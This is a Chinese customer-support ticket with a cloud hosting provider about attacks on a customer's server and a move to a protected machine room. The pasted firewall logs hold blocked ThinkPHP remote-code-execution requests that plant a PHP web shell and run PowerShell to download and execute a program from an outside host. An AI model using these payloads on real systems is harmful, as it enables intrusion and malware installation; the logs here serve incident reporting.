问：你好，最近一直有IP地址为：127.0.0.1 的主机 扫描我云主机，请帮核查，这个IP是谁的?,机房有主机攻击云主机
答：您好，请提供攻击的详细说明我司协助核实 ，
非常感谢您长期对我司的支持,谢谢！
问： 13:03:48127.0.0.1GET/public/index.php?s＝/index/\\think\\app/invokefunction&function＝call_user_func_array&vars[0]＝system&vars[1][]＝echo ^<?php $action ＝ $_GET[‘xcmd‘];system($action);?^>>hydra.php已拦截get_referer
13:03:48127.0.0.1GET/public/index.php?s＝index/think\\app/invokefunction&function＝call_user_func_array&vars[0]＝system&vars[1][]＝cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(‘http://fid.hognoob.se/download.exe‘,‘C:/Windows/temp/mnccmdfymjyibba13630.exe‘);start C:/Windows/temp/mnccmdfymjyibba13630.exe已拦截args
01:14:41127.0.0.1GET/public/index.php?s＝/index/\\think\\app/invokefunction&function＝call_user_func_array&vars[0]＝system&vars[1][]＝echo ^<?php $action ＝ $_GET[‘xcmd‘];system($action);?^>>hydra.php已拦截get_referer
01:14:41127.0.0.1GET/public/index.php?s＝index/think\\app/invokefunction&function＝call_user_func_array&vars[0]＝system&vars[1][]＝cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(‘http://fid.hognoob.se/download.exe‘,‘C:/Windows/temp/mnccmdfymjyibba13630.exe‘);start C:/Windows/temp/mnccmdfymjyibba13630.exe已拦截args
答：您好，已经联系此台服务器客户立即进行检查处理 ，若处理不及时请反馈此工单
非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
问：上次受到攻击的时候，贵公司建议我们更换机房到绵阳的有硬防的云主机，请问该主机该如何选择？
答：您好，1、请在我司https://www.west.cn/services/cloudhost/ 重新购买一台云服务器选择智能多线my机房，然后将当前服务器上的数据自行迁移到新的服务器上，然后回复工单，我司将当前服务器折算到新的服务器上。
2、相关硬件防护，可以参考https://www.west.cn/services/cloudhost/ddos.asp 。
非常感谢您长期对我司的支持!
问：选了智能多线，但是不能选机房到嘛？
答：您好，1、选择智能多线机房进行开通，开通后回复工单，我司为您更换到my机房即可，非常感谢您长期对我司的支持!
